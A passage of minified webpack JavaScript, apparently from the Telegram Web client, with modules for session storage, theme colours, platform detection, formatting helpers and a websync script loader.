r;return(...s)=>{r?(clearTimeout(r),r=void 0):n&&e(...s),r=self.setTimeout((()=>{o&&e(...s),r=void 0}),t)}}function r(e,t,n=!0){let o,r,s;return(...a)=>{r=!0,s=a,o||(n&&(r=!1,e(...s)),o=self.setInterval((()=>{if(!r)return self.clearInterval(o),void(o=void 0);r=!1,e(...s)}),t))}}function s(e){return a(y,e)}function a(e,t){let n,o=!1;return(...r)=>{n=r,o||(o=!0,e((()=>{o=!1,t(...n)})))}}function i(e,t){self.requestIdleCallback?self.requestIdleCallback(e,{timeout:t}):y(e)}n.d(t,{$6:()=>s,Ds:()=>o,Gq:()=>b,P2:()=>r,Pn:()=>c,Q8:()=>i,R3:()=>y,T2:()=>g,d0:()=>a,wO:()=>d});const d=e=>new Promise((t=>{setTimeout((()=>t()),e)}));function c(){return new Promise((e=>{g(e)}))}const u=35;let l,f,h,m,p;function g(e,t=!1){l?l.add(e):(l=new Set([e]),requestAnimationFrame((()=>{const e=l;l=void 0,f=void 0,h&&(clearTimeout(h),h=void 0),e.forEach((e=>e()))}))),t&&(f?f.add(e):f=new Set([e]),h||(h=window.setTimeout((()=>{const e=f;l&&e.forEach(l.delete,l),f=void 0,h&&(clearTimeout(h),h=void 0),e.forEach((e=>e()))}),u)))}function y(e){m?m.push(e):(m=[e],Promise.resolve().then((()=>{const e=m;m=void 0,e.forEach((e=>e()))})))}function b(e,t=!1){return p||(p=[],self.addEventListener("beforeunload",(()=>{p.forEach((e=>e()))}))),t?p.push(e):p.unshift(e),()=>{p=p.filter((t=>t!==e))}}},85765:(e,t,n)=>{let o;n.d(t,{W:()=>s,Z:()=>r});try{o=/[^\p{L}\p{M}]+/iu}catch(e){o=/[^\wа-яёґєії]+/i}function r(e,t){if(!e||!t)return!1;const n="string"==typeof t?t.toLowerCase().split(o):t,r=e.toLowerCase();if(1===n.length&&!r.includes(n[0]))return!1;let s;return n.every((e=>!!r.includes(e)&&(s||(s=r.split(o)),s.some((t=>t.startsWith(e))))))}function s(e){const t=e.toLowerCase().split(o);return e=>r(e,t)}},82267:(e,t,n)=>{n.d(t,{Qj:()=>s,Y$:()=>r,bp:()=>a});let o=0;function r(e){o=e}function s(){return o}function a(){return Math.floor(Date.now()/1e3)+o}},50214:(e,t,n)=>{function o(e){return new Promise(((t,n)=>{e.oncomplete=e.onsuccess=()=>t(e.result),e.onabort=e.onerror=()=>n(e.error)}))}let r;function s(){return r||(r=function(e,t){const n=indexedDB.open("keyval-store");n.onupgradeneeded=()=>n.result.createObjectStore(t);const r=o(n);return(e,n)=>r.then((o=>n(o.transaction(t,e).objectStore(t))))}(0,"keyval")),r}n.d(t,{f3:()=>m,jv:()=>l,ti:()=>c,Qw:()=>h,K8:()=>f,wX:()=>u});var a=n(83716),i=n(49524);const d=[1,2,3,4,5];function c(e=!1){if(e&&localStorage.getItem(a.Vxl))return!0;if(function(){const e=JSON.parse(localStorage.getItem(a.UhJ)||"{}");return Boolean(e?.passcode?.isScreenLocked)}())return!0;const t=localStorage.getItem(a.b_O);if(!t)return!1;try{const e=JSON.parse(t);return Boolean(e&&e.id&&e.dcID)}catch(e){return!1}}function u(e,t){const{mainDcId:n,keys:o,hashes:r}=e;localStorage.setItem(a.b_O,JSON.stringify({dcID:n,id:t})),localStorage.setItem("dc",String(n)),Object.keys(o).map(Number).forEach((e=>{localStorage.setItem(`dc${e}_auth_key`,JSON.stringify(o[e]))})),r&&Object.keys(r).map(Number).forEach((e=>{localStorage.setItem(`dc${e}_hash`,JSON.stringify(r[e]))}))}function l(){[a.b_O,"dc",...d.map((e=>`dc${e}_auth_key`)),...d.map((e=>`dc${e}_hash`)),...d.map((e=>`dc${e}_server_salt`))].forEach((e=>{localStorage.removeItem(e)}))}function f(){if(!c())return;const e=JSON.parse(localStorage.getItem(a.b_O));if(!e)return;const t=Number(e.dcID),n={},o={};return d.forEach((e=>{try{const t=localStorage.getItem(`dc${e}_auth_key`);t&&(n[e]=JSON.parse(t));const r=localStorage.getItem(`dc${e}_hash`);r&&(o[e]=JSON.parse(r))}catch(e){a.eMD&&console.warn("Failed to load stored session",e)}})),Object.keys(n).length?{mainDcId:t,keys:n,hashes:o}:void 0}async function h(){const e=localStorage.getItem(a.Vxl);if(!e)return;const t=await function(e,t=s()){return t("readonly",(t=>o(t.get(e))))}(`GramJs:${e}`);try{u(JSON.parse(t))}catch(e){a.eMD&&console.warn("Failed to load legacy session",e)}}async function m(){try{localStorage.removeItem(a.Vxl);const e=await function(e=s()){return e("readonly",(e=>{if(e.getAllKeys)return o(e.getAllKeys());const t=[];return function(e,t){return e.openCursor().onsuccess=function(){this.result&&(t(this.result),this.result.continue())},o(e.transaction)}(e,(e=>t.push(e.key))).then((()=>t))}))}();await Promise.all([i.clear("GramJs"),...e.filter((e=>"string"==typeof e&&e.startsWith("GramJs:GramJs-session-"))).map((e=>function(e,t=s()){return t("readwrite",(t=>(t.delete(e),o(t.transaction))))}(e)))])}catch(e){a.eMD&&console.warn("Failed to clear legacy session",e)}}},19369:(e,t,n)=>{n.d(t,{$Z:()=>s,Dc:()=>c,gQ:()=>d});var o=n(16063);const r=Symbol("SIGNAL_MARK");function s(e){return"function"==typeof e&&r in e}const a=new Map;let i;function d(e){const t={value:e,effects:(0,o._)()};function n(e){const n=t.effects.addCallback(e);return a.has(e)?a.get(e).add(n):a.set(e,new Set([n])),()=>{n();const t=a.get(e);t.delete(n),t.size||a.delete(e)}}return[Object.assign((function(){return i&&n(i),t.value}),{[r]:r,subscribe:n}),function(e){t.value!==e&&(t.value=e,t.effects.runCallbacks())}]}function c(e){a.get(e)?.forEach((e=>{e()})),a.delete(e)}},29371:(e,t,n)=>{n.d(t,{U:()=>g,a:()=>y});var o=n(57710),r=n(9933),s=n(64963),a=n(1279),i=n(28712),d=n(97184);const c=300,u=r.timingFunctions.easeOutCubic;let l,f,h,m,p=!1;function g(e,t){return(0,s.sf)(e,{excludedClosestSelector:t.excludedClosestSelector,selectorToPreventScroll:t.selectorToPreventScroll,swipeThreshold:10,onSwipe(e,n,o){if(n===s.eM.Left)t.onSwipeLeftStart?.();else{if(n!==s.eM.Right)return!1;t.onSwipeRightStart?.()}return d.cj&&(p=!0,l=o),!0},onDrag(e,t,n){p&&f?.(n)},onRelease(){p&&(p=!1,h?.(t.onCancel),f=void 0,h=void 0)}})}function y(e,t,n){if(m?.(),!p)return;const s=function(e){for(const t of e.getAnimations())if(t.effect instanceof KeyframeEffect)for(const e of t.effect.getKeyframes()){if(1!==e.offset||!e.transform)continue;const t=v(e.transform);if(t)return t}}(e);if(!s)return;let d;e.getAnimations().forEach((e=>e.pause())),t.getAnimations().forEach((e=>e.pause())),e.style.animationTimingFunction="linear",t.style.animationTimingFunction="linear",(0,o.i$)((()=>{const p=(g=getComputedStyle(e).transform,y=s.axis,g.slice(7,-1).split(",").map(Number)["X"===y?4:5]);var g,y;const v=("px"===s.units?s.value:s.value/100*("X"===s.axis?e.offsetWidth:e.offsetHeight))-p;let w=0;f=({dragOffsetX:n,dragOffsetY:o})=>{const r="X"===s.axis?n-l.dragOffsetX:o-l.dragOffsetY,a=(0,i.uZ)(r/v,0,1);d=a>w?1:-1,w=a,b([e,t],w)},h=s=>{const i=-1===d;function l(){e.getAnimations().forEach((e=>e.cancel())),t.getAnimations().forEach((e=>e.cancel())),(0,o.WM)((()=>{e.style.animationTimingFunction="",t.style.animationTimingFunction=""}))}i||(0,a.f)(e,l),m=(0,r.vr)({from:w,to:i?0:1,duration:c,timing:u,onUpdate(n){b([e,t],n)},onEnd(e=!1){m=void 0,(e||i)&&(l(),n(),s())}})}}))}function b(e,t){e.map((e=>e.getAnimations())).flat().forEach((e=>{e.currentTime=e.effect.getTiming().duration*t}))}function v(e){const t=e.match(/([XY])\((-?\d+)(%|px)\)/);if(t)return{axis:t[1],value:Number(t[2]),units:t[3]}}},27370:(e,t,n)=>{n.d(t,{ZP:()=>m,oo:()=>l,qj:()=>f});var o=n(57710);const r=JSON.parse('{"--color-primary":["#3390EC","#8774E1"],"--color-primary-opacity":["#50A2E940","#8378DB80"],"--color-primary-opacity-hover":["#50A2E926","#8378DBA0"],"--color-primary-tint":["#3390ec1a","#8774e11a"],"--color-primary-shade":["#4a95d6","#7b71c6"],"--color-background":["#FFFFFF","#212121"],"--color-background-compact-menu":["#FFFFFFBB","#212121DD"],"--color-background-compact-menu-reactions":["#FFFFFFEB","#212121DD"],"--color-background-compact-menu-hover":["#00000011","#00000066"],"--color-background-secondary":["#f4f4f5","#0F0F0F"],"--color-background-secondary-accent":["#E4E4E5","#100f10"],"--color-background-own":["#EEFFDE","#766AC8"],"--color-background-own-apple":["#DCF8C5","#766AC8"],"--color-background-selected":["#F4F4F5","#2C2C2C"],"--color-background-own-selected":["#d0ffac","#6549d4"],"--color-chat-hover":["#F4F4F5","#2C2C2C"],"--color-chat-active":["#3390EC","#766AC8"],"--color-chat-active-greyed":["#60a7f0","#9288d3"],"--color-item-active":["#ededed","#292929"],"--color-text":["#000000","#FFFFFF"],"--color-text-secondary":["#707579","#AAAAAA"],"--color-icon-secondary":["#707579","#AAAAAA"],"--color-text-secondary-apple":["#8E8E92","#AAAAAA"],"--color-borders":["#DADCE0","#303030"],"--color-borders-input":["#DADCE0","#5B5B5A"],"--color-dividers":["#C8C6CC","#3B3B3D"],"--color-dividers-android":["#E7E7E7","#0F0F0F"],"--color-links":["#3390EC","#8774E1"],"--color-gray":["#C4C9CC","#717579"],"--color-list-icon":["#ABAFB1","#A2A2A2"],"--color-default-shadow":["#72727240","#1010109c"],"--color-light-shadow":["#7272722B","#00000040"],"--color-green":["#00C73E","#8774E1"],"--color-green-darker":["#00a734","#7b71c6"],"--color-text-meta-colored":["#4DCD5E","#8378DB"],"--color-reply-hover":["#F4F4F4","#272727"],"--color-reply-active":["#E8E9E9","#2E2F2F"],"--color-reply-own-hover":["#D9F5CE","#8775DA"],"--color-reply-own-hover-apple":["#cbefb7","#8775DA"],"--color-reply-own-active":["#C5ECBE","#917DEA"],"--color-reply-own-active-apple":["#bae6a8","#917DEA"],"--color-accent-own":["#45AF54","#FFFFFF"],"--color-message-meta-own":["#4FAE4EFF","#FFFFFF88"],"--color-own-links":["#3390EC","#FFFFFF"],"--color-code":["#4a729a","#8774E1"],"--color-code-own":["#3c7940","#FFFFFF"],"--color-code-bg":["#70757914","#00000080"],"--color-code-own-bg":["#70757914","#00000050"],"--color-composer-button":["#707579CC","#AAAAAACC"],"--color-message-reaction":["#ebf3fd","#2b2a35"],"--color-message-reaction-hover":["#c5def9","#343147"],"--color-message-reaction-own":["#c6eab2","#675CAF"],"--color-message-reaction-hover-own":["#b5e0a4","#5B529B"],"--color-message-reaction-chosen-hover":["#1a82ea","#7864dd"],"--color-message-reaction-chosen-hover-own":["#3f9d4b","#f5f5f5"],"--color-voice-transcribe-button":["#e8f3ff","#2a2a3c"],"--color-voice-transcribe-button-own":["#cceebf","#8373d3"],"--color-topic-blue":["#2F7772","#6ff9f0"],"--color-topic-yellow":["#7F693B","#ffd67e"],"--color-topic-violet":["#8B5A96","#cb86db"],"--color-topic-green":["#44774A","#8eee98"],"--color-topic-rose":["#9B576B","#ff93b2"],"--color-topic-red":["#EB6858","#fb6f5f"],"--color-topic-grey":["#6C6C6C","#999999"],"--color-forum-unread-topic-hover":["#e9e9e9","#363636"],"--color-forum-hover-unread-topic-hover":["#e2e2e2","#3f3f3f"],"--color-chat-username":["#3C7EB0","#E9EEF4"],"--color-borders-read-story":["#C4C9CC","#737373"]}');var s=n(9933),a=n(28712);let i=!1;const d=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})?$/i,c=new Set(["--color-text","--color-primary-shade","--color-text-secondary","--color-accent-own"]),u=Object.keys(r).map((e=>({property:e,colors:[l(r[e][0]),l(r[e][1])]})));function l(e){const t=d.exec(e);return{r:parseInt(t[1],16),g:parseInt(t[2],16),b:parseInt(t[3],16),a:void 0!==t[4]?parseInt(t[4],16):void 0}}function f(e,t,n){return{r:Math.round((0,a.t7)(e.r,t.r,n)),g:Math.round((0,a.t7)(e.g,t.g,n)),b:Math.round((0,a.t7)(e.b,t.b,n)),a:void 0!==e.a?Math.round((0,a.t7)(e.a,t.a,n)):void 0}}function h(e,t,n=1){u.forEach((({property:o,colors:r})=>{const{r:s,g:a,b:i,a:d}=f(r[e],r[t],n),u=void 0!==d?Math.round(d/255*1e3)/1e3:void 0;document.documentElement.style.setProperty(o,`rgb(${s},${a},${i}${u?`,${u}`:""})`),c.has(o)&&document.documentElement.style.setProperty(`${o}-rgb`,`${s},${a},${i}`)}))}const m=(e,t)=>{const n=`theme-${e}`;if(document.documentElement.classList.contains(n))return;const r="dark"===e,a=i&&t,d=r?0:1,c=r?1:0,u=Date.now(),l=document.querySelector('meta[name="theme-color"]');(0,o.WM)((()=>{let e;document.documentElement.classList.remove("theme-"+(r?"light":"dark")),i&&(e=(e=>{const t=document.createElement("style");return t.textContent="\n.no-animations #root *,\n.no-animations #root *::before,\n.no-animations #root *::after {\n  transition: none !important;\n}",document.head.appendChild(t),()=>{document.head.removeChild(t)}})(),document.documentElement.classList.add("no-animations")),document.documentElement.classList.add(n),l&&l.setAttribute("content",r?"#212121":"#fff"),setTimeout((()=>{(0,o.WM)((()=>{e?.(),document.documentElement.classList.remove("no-animations")}))}),500),i=!0,a?(0,s.jt)((()=>{const e=Math.min((Date.now()-u)/200,1);return h(d,c,function(e){return 1-(1-e)**3.5}(e)),e<1}),o.WM):h(d,c)}))}},29456:(e,t,n)=>{n.d(t,{o:()=>a,v:()=>s});let o,r=window.matchMedia?.("(prefers-color-scheme: dark)").matches?"dark":"light";function s(){return r}function a(e){o=e}window.matchMedia("(prefers-color-scheme: dark)").addEventListener("change",(function(e){r=e.matches?"dark":"light",o?.(r)}))},2155:(e,t,n)=>{n.d(t,{Xv:()=>d,bi:()=>i,kh:()=>s,sS:()=>u});var o=n(33681),r=n(34284);function s(e){return String(e).replace(/\d(?=(\d{3})+$)/g,"$& ")}function a(e){return".0"===String(e.toFixed(1)).substr(-2)?Math.round(e):e.toFixed(1).replace(".",",")}function i(e){return e<1e3?e.toString():e<1e6?`${a(e/1e3)}K`:`${a(e/1e6)}M`}const d=(0,n(15155).Z)(((e,t=2)=>e.replace(/[.,!@#$%^&*()_+=\-`~[\]/\\{}:"|<>?]+/gi,"").trim().split(/\s+/).slice(0,t).map((e=>{if(!e.length)return"";const t=(e=(0,r.g6)(e)).match(o.Z);return t&&e.startsWith(t[0])?t[0]:e.match(/./u)[0].toUpperCase()})).join(""))),c=["B","KB","MB","GB"];function u(e,t,n=1){if(0===t)return e("FileSize.B",0);const o=Math.floor(Math.log(t)/Math.log(1024)),r=(t/1024**o).toFixed(Math.max(n,0));return e(`FileSize.${c[o]}`,r)}},80009:(e,t,n)=>{n.d(t,{s:()=>h});var o=n(83716),r=n(69118);const s=new Map,a=new Map,i=new Map,d=document.createElement("style");function c(e,t,n){n?(s.delete(e),a.set(e,t),i.set(e,n)):(s.set(e,t),a.delete(e),i.delete(e)),u||(u=!0,(0,r.T2)(l))}document.head.appendChild(d);let u=!1;function l(){const e=f(s),t=f(a),n=f(i);d.textContent=`\n    html {\n      ${e}\n    }\n\n    html.theme-light {\n      ${t}\n    }\n\n    html.theme-dark {\n      ${n}\n    }\n  `}function f(e){return Array.from(e.entries()).map((([e,t])=>`--${e}: ${t};`)).join(" ")}function h(e){m("0",["#e17076"]),m("1",["#faa774"]),m("2",["#a695e7"]),m("3",["#7bc862"]),m("4",["#6ec9cb"]),m("5",["#65aadd"]),m("6",["#ee7aae"]),Object.entries(e).forEach((([e,t])=>{t.colors&&m(e,t.colors,t.darkColors)}))}function m(e,t,n){const r=t[0],s=n?.[0];if(!r)return;const a=`${r}${o.sTu}`,i=s?`${s}${o.sTu}`:void 0,d=`${r}${o.nBr}`,u=s?`${s}${o.nBr}`:void 0;if(c(`color-peer-${e}`,r,s),c(`color-peer-bg-${e}`,a,i),c(`color-peer-bg-active-${e}`,d,u),t.length>1){const r=t.map(((e,t)=>`${e} ${t*o.o69}px, ${e} ${(t+1)*o.o69}px`)),s=n?.map(((e,t)=>`${e} ${t*o.o69}px, ${e} ${(t+1)*o.o69}px`));c(`color-peer-gradient-${e}`,`repeating-linear-gradient(-45deg, ${r.join(", ")})`,s?`repeating-linear-gradient(-45deg, ${s.join(", ")})`:void 0)}}},18629:(e,t,n)=>{function o(){const e=getComputedStyle(document.documentElement),t=s(e,"--color-background"),n=s(e,"--color-text-secondary"),o=t,r=s(e,"--color-text"),a=s(e,"--color-primary"),i=s(e,"--color-white"),d=n;return{bg_color:o,text_color:r,hint_color:d,link_color:s(e,"--color-links"),button_color:a,button_text_color:i,secondary_bg_color:s(e,"--color-background-secondary"),header_bg_color:t,accent_text_color:s(e,"--color-primary"),section_bg_color:t,section_header_text_color:n,subtitle_text_color:d,destructive_text_color:s(e,"--color-error")}}function r(e){return/^#[0-9A-F]{6}$/i.test(e)}function s(e,t){const n=e.getPropertyValue(t);var o;if(n)return r(o=n.trim())?o:`#${o.match(/^rgba?\((\d+),\s*(\d+),\s*(\d+)(?:,\s*(\d+\.{0,1}\d*))?\)$/).slice(1).map(((e,t)=>(3===t?Math.round(255*parseFloat(e)):parseFloat(e)).toString(16).padStart(2,"0").replace("NaN",""))).join("")}`}n.d(t,{BS:()=>o,Uq:()=>r,ZX:()=>s})},48035:(e,t,n)=>{function o(e,t){return!e||!t||e.length<=t?e:`${e.substring(0,t)}...`}n.d(t,{Z:()=>o})},49160:(e,t,n)=>{n.d(t,{Au:()=>r,ME:()=>s,ZR:()=>o,js:()=>a});const o=5,r=32,s=/^\D([a-zA-Z0-9_]+)$/;function a(e){return 0===e.length||e.length>=o&&e.length<=r&&s.test(e)}},706:(e,t,n)=>{n.d(t,{IT:()=>h,NA:()=>m,W8:()=>g,px:()=>p});var o=n(33555),r=n(83716),s=n(50214),a=n(97184);const i=["t.me","telegram.me"].map((e=>`https://${e}/_websync_?`)),d=`10.4.5 ${r.SR3}`,c="tgme_sync",u=86400,l=()=>Math.floor(Number(new Date)/1e3);let f;const h=e=>{if(r.NuY||a.D$)return;const t=l(),{canRedirect:n,ts:o}=JSON.parse(localStorage.getItem(c)||"{}");return n!==e||o+u<=t?Promise.all(i.map((t=>new Promise(((n,o)=>{const r=document.createElement("script"),s=()=>Boolean(document.body.removeChild(r));r.src=t+new URLSearchParams({authed:Number(e).toString(),version:d}),document.body.appendChild(r),r.onload=()=>{(e=>{const t=l();localStorage.setItem(c,JSON.stringify({canRedirect:e,ts:t}))})(e),s(),f&&(clearTimeout(f),f=void 0),p(),n()},r.onerror=()=>{s(),o()}}))))):Promise.resolve()};function m(){r.eMD||a.D$||f&&clearTimeout(f)}function p(){if(r.eMD||a.D$)return;if(void 0!==f)return;const e=l(),{ts:t}=JSON.parse(localStorage.getItem(c)||"{}"),n=u-(e-t);f=setTimeout((()=>{const{authState:e}=(0,o.Rd)(),t="authorizationStateReady"===e||(0,s.ti)(!0);h(t)}),Math.max(0,1e3*n))}function g(){localStorage.removeItem(c)}},97184:(e,t,n)=>{n.d(t,{$b:()=>v,Bi:()=>T,D$:()=>p,EA:()=>O,Eo:()=>x,Hh:()=>L,IT:()=>_,I_:()=>S,Lt:()=>s,Mc:()=>C,RM:()=>b,SX:()=>F,Xp:()=>r,_G:()=>D,aZ:()=>R,cj:()=>c,fl:()=>y,gZ:()=>j,gk:()=>B,jm:()=>a,l0:()=>$,m2:()=>d,m5:()=>E,mh:()=>w,nJ:()=>h,op:()=>I,q$:()=>l,qB:()=>i,rT:()=>Z,s$:()=>f,s0:()=>M,t0:()=>k,tc:()=>g,vX:()=>P,wZ:()=>u,zQ:()=>N});var o=n(83716);const r=window.location.host===o.xHY,s=function(){const{userAgent:e,platform:t}=window.navigator;return-1!==["iPhone","iPad","iPod"].indexOf(t)||"MacIntel"===t&&"maxTouchPoints"in navigator&&navigator.maxTouchPoints>2?"iOS":-1!==["Macintosh","MacIntel","MacPPC","Mac68K"].indexOf(t)?"macOS":-1!==["Win32","Win64","Windows","WinCE"].indexOf(t)?"Windows":/Android/.test(e)?"Android":/Linux/.test(t)?"Linux":void 0}(),a="macOS"===s,i="Windows"===s,d="Linux"===s,c="iOS"===s,u="Android"===s,l=c||u,f=/^((?!chrome|android).)*safari/i.test(navigator.userAgent),h=navigator.userAgent.includes("YaBrowser"),m=navigator.userAgent.toLowerCase().includes("firefox")||navigator.userAgent.toLowerCase().includes("iceweasel")||navigator.userAgent.toLowerCase().includes("icecat"),p=Boolean(window.electron);let g=function(e){return e[e.Main=0]="Main",e[e.Auxiliary=1]="Auxiliary",e[e.Secondary=2]="Secondary",e[e.Fourth=3]="Fourth",e[e.Fifth=4]="Fifth",e}({});const y=window.matchMedia("(display-mode: standalone)").matches||window.navigator.standalone||document.referrer.includes("android-app://"),b=y||p,v=window.matchMedia("(pointer: coarse)").matches,w=Boolean(window.navigator.mediaDevices&&"getUserMedia"in window.navigator.mediaDevices&&(window.AudioContext||window.webkitAudioContext)),I=(document.documentElement.style,s&&(a||c)&&function(){const e=document.createElement("span");e.classList.add("emoji-test-element"),document.body.appendChild(e),e.innerText="🫸🏻";const t=e.offsetWidth;e.innerText="❤️";const n=e.offsetWidth;return document.body.removeChild(e),Math.abs(t-n)<5}()),C="serviceWorker"in navigator,S=C,E=(window,Boolean((new Audio).canPlayType("audio/ogg; codecs=opus"))),P=!o.Cgt&&"filter"in(document.createElement("canvas").getContext("2d")||{}),k="requestFullscreen"in document.createElement("div"),T=!m,M=u?"slideFade":c?"slideLayers":"pushSlide",A=document.createElement("video"),L=Boolean(A.canPlayType('video/webm; codecs="vp9"').replace("no","")),N="VideoDecoder"in window,R=!0,Z=Boolean(navigator.storage?.getDirectory);Z&&(async()=>{try{const e=await navigator.storage.getDirectory();await e.removeEntry("downloads",{recursive:!0})}catch{}})();const D=CSS.supports("offset-rotate: 0deg"),B=CSS.supports("backdrop-filter: blur()")||CSS.supports("-webkit-backdrop-filter: blur()"),O="onbeforeinstallprompt"in window,x="BroadcastChannel"in window,_=x&&!(y&&l),F=!o.Cgt&&Boolean(Intl.DisplayNames),j=750,$=((()=>{const e=document.createElement("div");e.style.cssText="overflow:scroll; visibility:hidden; position:absolute;",e.classList.add("custom-scroll"),document.body.appendChild(e);const t=e.offsetWidth-e.clientWidth;e.remove(),document.documentElement.style.setProperty("--scrollbar-width",`${t}px`)})(),1048576*(l?512:2e3))},43858:(e,t,n)=>{n.d(t,{Z:()=>l,z:()=>u});var o=n(57710),r=n(69118),s=n(97184);let a=window.innerHeight,i=u();const d=(0,r.P2)((()=>{i=u()}),250,!0),c=(0,r.P2)((()=>{a=window.innerHeight,d()}),100,!1);function u(){let e;return e=s.cj?window.visualViewport.height+window.visualViewport.pageTop:window.innerHeight,(0,o.WM)((()=>{const t=.01*e;document.documentElement.style.setProperty("--vh",`${t}px`)})),{width:window.innerWidth,height:window.innerHeight}}window.addEventListener("orientationchange",c),s.cj?window.visualViewport.addEventListener("resize",d):window.addEventListener("resize",d);const l={get:()=>i,getIsKeyboardVisible:()=>a>i.height}},15155:(e,t,n)=>{n.d(t,{Z:()=>r});const o=new WeakMap;function r(e){return(...t)=>{let n=o.get(e);const r=t.map(String).join("_");if(n){const e=n.get(r);if(e)return e}else n=new Map,o.set(e,n);const s=e(...t);return n.set(r,s),s}}},69123:(e,t,n)=>{e.exports=n.p+"blank.8dd283bceccca95a48d8.png"},17017:(e,t,n)=>{e.exports=n.p+"grey.45da821d56a68ea86203.svg"},2092:(e,t,n)=>{e.exports=n.p+"lock.f11661905df47960fa3e.png"},53930:(e,t,n)=>{e.exports=n.p+"square.370a4828a4f2afc14ada.svg"}},s={};function a(e){var t=s[e];if(void 0!==t)return t.exports;var n=s[e]={exports:{}};return r[e].call(n.exports,n,n.exports,a),n.exports}a.m=r,a.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return a.d(t,{a:t}),t},t=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__,a.t=function(n,o){if(1&o&&(n=this(n)),8&o)return n;if("object"==typeof n&&n){if(4&o&&n.__esModule)return n;if(16&o&&"function"==typeof n.then)return n}var r=Object.create(null);a.r(r);var s={};e=e||[null,t({}),t([]),t(t)];for(var i=2&o&&n;"object"==typeof i&&!~e.indexOf(i);i=t(i))Object.getOwnPropertyNames(i).forEach((e=>s[e]=()=>n[e]));return s.default=()=>n,a.d(r,s),r},a.d=(e,t)=>{for(var n in t)a.o(t,n)&&!a.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},a.f={},a.e=e=>Promise.all(Object.keys(a.f).reduce(((t,n)=>(a.f[n](e,t),t)),[])),a.u=e=>e+"."+{67:"b1c159afff1836e956af",143:"e7a7de820c1d836330ad",154:"b1bb79af9047357c4e71",191:"57c9a55d4d6baf35ba2e",209:"1ac4a15dbd5f296607ea",212:"619be32d8cabbddbe17c",244:"95eda508b046980c9508",256:"e196a41f88054dc1f7f7",370:"e09c0da4856a01674007",483:"0a48460d7de1b63f8ff0",625:"68e26eb5c85fa7ec7e73",713:"fdc2065ddfb381c60c49",730:"4cf513fc2a8e48176785",831:"d46defd011d6f3b5117f",905:"f43feebb3c8b40c2ca73",958:"0f63f41091f15269e841",1098:"7502065e994732872b61",1142:"6dd8fb3293efe2275243",1161:"c1d3dcf9981450e3f125",1276:"e39e2f52aef3cc5573e5",1360:"d3cde7f29cbc7036ecf0",1402:"19d7f49b015cdb3a2f4c",1418:"6a5804c9d78c952ae8b4",1437:"7f1ecfc2b511c097f279",1514:"cf62948799ae8273c3b6",1627:"fa405d578ced2bb36d47",1641:"80d5e63091ab7dd94c5b",1699:"912e7c7003b0e338b6aa",1752:"bec0e76fc7929c2384dc",1879:"3dc6408206abcdd67b66",1915:"7c097c4f98f78164d509",1917:"c15c3cd638274996d2ea",1933:"ef254f903e6e85583834",1954:"344379a036c726677637",1967:"e44bb23d043798bb6b81",2001:"a26fe2305e2b5b85ee3e",2002:"ba6c7b42f5928c3d30a9",2054:"8522c59656090a74d5cd",2098:"10023a32b01441fa43ce",2120:"192c70900c1346dfde33",2137:"19fee4baba7e7535df65",2138:"a32e45e6f003f8cee671",2243:"fef1c8728d0ad49b0233",2251:"a82a147134cf764eac47",2342:"c58715ffc9e63fa3246d",2369:"434ec53944d5416bbd42",2390:"df20a0a7e5cc0ca784df",2537:"b0e20890e1f10be61081",2690:"e652400d8eed77b02f53",2741:"fdbcbd043ebaf9bb6361",2767:"f2191bfb9935adccace8",2853:"23d67300f75c20d4fc3d",2892:"f81454c13a3bb03200dd",3041:"434e4f7bc7aa66707263",3075:"fccc7a91bef70bf39ab1",3076:"c3b8377f3b4bc79486e6",3098:"cfb2453a026e90ed4705",3108:"2d78bb79f1fea81bd656",3124:"f044973b18cc610b2cf2",3147:"c9ff9d7fb151e6d81193",3163:"4d36122ad451c5220778",3191:"1282d9d6292f748a4eef",3268:"0ef6531a7e682de91775",3280:"18b52f65d153a29db69e",3288:"c63dd15f80b7fca9d52a",3309:"5e9e7138414d3758a08c",3311:"57aea68ff8d562462119",3353:"77c5ce8e23d0178ca28d",3404:"d4eabb197a3ff3d259ea",3408:"a9ab3f80204ff715ca45",3411:"08c3ef2dfe6661f830cb",3420:"f01f8bb1f73a91ea1d07",3472:"eadc9cc3a5ce81ce4e04",3488:"62ba3c98b6ca2cf20db6",3505:"fdce0b29b44c84097e37",3539:"678a51640d7912fd65a7",3585:"428d12f45f11ae07347b",3588:"6a9d0ec87d70b1ac7f4d",3656:"baf64acd15931c9ea0de",3698:"30d0e3506576c885613d",3748:"0fa60c5a44d4b42a0115",3779:"66a22ba7189ea93bbdd6",3800:"fa484cb48a1884c246d8",3848:"767ff8e5d12d8164f976",3863:"05f2d8e03b989f482459",3866:"0012f9821c6a3896b854",3881:"2bbc65e54028ed229e86",3894:"c0239dae4537213703c9",3936:"d9b9d0f6b8aa558a10f5",3966:"51bcb3c8152c49e45b7a",4037:"ab9502dbfcba4c1010a3",4039:"21643a8c20ef5d73c890",4231:"a6f612c7101d4bb5d021",4276:"78e2114cea97e4058110",4303:"c036ca41d334f5f9a921",4314:"c4ada157b0444ce83b61",4334:"2c672be5990fff26ae2a",4408:"dd8c995dca54822c866f",4484:"59aff02ac4d5231a5343",4536:"a09edc1cca4eb6f587d8",4566:"bba9b53cc38da6584511",4569:"66c72763bc98c6dcc70a",4646:"0ee78a3b112f553a7485",4680:"4c2ac3941aac89823979",4685:"b09d443a6c94e9adf8f7",4686:"0e87dd7008a09656c964",4710:"9411449483fa66a7b517",4713:"6698ac022883982a00d0",4723:"a57d4df4805910bebcec",4747:"e459e074f8c7c082d673",4753:"0130f8a5c138b4e9fd3c",4835:"5c27cc8fcaa97b0e3582",4838:"3d2a0c51355821f9cb43",4850:"23a22ff72e37b8f6b82a",4923:"3f19b2057bb2d4ceb498",4933:"badaa460256a4edcd402",4973:"41150a12583a4649d823",4986:"8839fe32e88359e3f9be",5040:"4568e9a60a3ab6c4ba8f",5060:"745f6aaa4667a2f1b3a0",5066:"5eb08a6df674221884a1",5099:"f339e92463a128165237",5119:"ada71d7b7d579cccc8c7",5204:"24f538ca3317cade6c01",5239:"a4bfdd2b2922bd3b61cc",5246:"126b9355af1361b0b175",5281:"76c40000375dc3de8da9",5297:"be8e6c99cbc544ed130d",5309:"5656fbeb8cedf837da28",5344:"31cd1400189c7d8f44a0",5368:"3d9693719f6d6bf20607",5386:"7870ddea625107f2d64a",5434:"b6a9905e2acbcb49b0eb",5474:"3723214425059c9ecb70",5588:"287d3537f2c8414bf89b",5603:"c556a7f4f22d93504ed0",5699:"fb771e533c88af5b9811